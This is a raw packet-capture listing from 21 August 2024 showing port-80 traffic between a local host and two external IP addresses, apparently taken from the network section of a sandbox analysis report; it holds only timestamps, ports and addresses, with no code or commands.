Aug 21, 2024 08:32:14.705974102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705980062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705985069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705986023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705992937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.706003904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.706022978 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.706445932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706456900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706476927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706484079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706489086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706494093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706504107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.706527948 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.706590891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706597090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706608057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706614017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706618071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706645012 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.706649065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706659079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706671000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706672907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.706676960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706688881 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706695080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706700087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.706707001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706712008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706717014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.706717014 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.706717014 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.706748962 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.706754923 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.706767082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.707103014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707108974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707120895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707128048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707133055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707139015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707160950 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.707176924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.707324028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707329035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707340002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707344055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707350016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707355976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707369089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707380056 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.707412004 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.707461119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707467079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707472086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707477093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707488060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707500935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707500935 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.707508087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707514048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707520008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.707525015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707525015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.707530975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707541943 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.707544088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707549095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707560062 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.707567930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707587004 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.707592010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707597971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707602024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.707604885 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.707621098 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.707649946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708230972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708236933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708252907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708291054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708306074 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708376884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708383083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708393097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708398104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708404064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708409071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708421946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708427906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708432913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708434105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708445072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708451033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708462000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708462954 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708467960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708487988 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708506107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708519936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708527088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708528042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708539009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708544016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708553076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708560944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708565950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708575964 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.708576918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708584070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708587885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.708592892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.708597898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.708619118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.708636045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.708659887 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709038019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709043980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709069014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709074974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709079981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709084988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709090948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709094048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709096909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709104061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709125996 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709151030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709206104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709219933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709230900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709235907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709245920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709250927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709260941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709266901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709269047 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709275007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709278107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709286928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709289074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709295034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709297895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709300995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.709306955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.709319115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.709331036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.709336996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.709340096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.709342003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.709347010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.709371090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.709398031 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710233927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710239887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710249901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710256100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710261106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710267067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710270882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710282087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710288048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710294008 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710313082 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710314035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710320950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710326910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710329056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710339069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710345984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710355997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710360050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.710361958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710372925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710380077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710381031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.710391998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710397005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710397959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.710402966 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710408926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710412025 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710419893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710427046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710438967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710438967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710439920 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710444927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710452080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710458994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710496902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710649967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710655928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710666895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710671902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710678101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710690975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710695982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710701942 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710707903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710714102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710720062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710721970 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.710726023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.710727930 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.710738897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710741043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.710746050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710752964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.710764885 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.710793018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768373966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768404007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768409967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768440962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768474102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768474102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768522978 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768527031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768533945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768544912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768549919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768556118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768562078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768577099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768600941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768651009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768656969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768697977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768703938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768711090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768752098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768764973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768769979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768776894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768809080 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768909931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768915892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768919945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768927097 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768934011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768950939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768954039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768973112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.768973112 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.768990040 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769038916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769051075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769057035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769098997 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769109011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769114971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769126892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769164085 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769216061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769222021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769233942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769258022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769263983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769275904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769303083 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769320011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769319057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769328117 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769373894 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769388914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769393921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769398928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769445896 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769546986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769552946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769573927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769579887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769586086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769591093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769597054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769608021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769637108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769637108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769685984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769691944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769702911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769707918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769712925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769717932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769743919 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769792080 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769818068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769824028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769835949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769860983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769866943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769870996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769876957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769881010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769918919 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769918919 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.769993067 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.769999981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770009995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770015001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770025015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770030022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770049095 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770055056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770062923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770075083 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770075083 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770106077 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770108938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770169973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770245075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770251036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770262003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770267010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770287991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770302057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770359039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770387888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770394087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770399094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770401955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770447016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770448923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770457983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770468950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770474911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770505905 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770534992 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770710945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770716906 CEST	80	49720	147.45.44.104	192.168.2.6
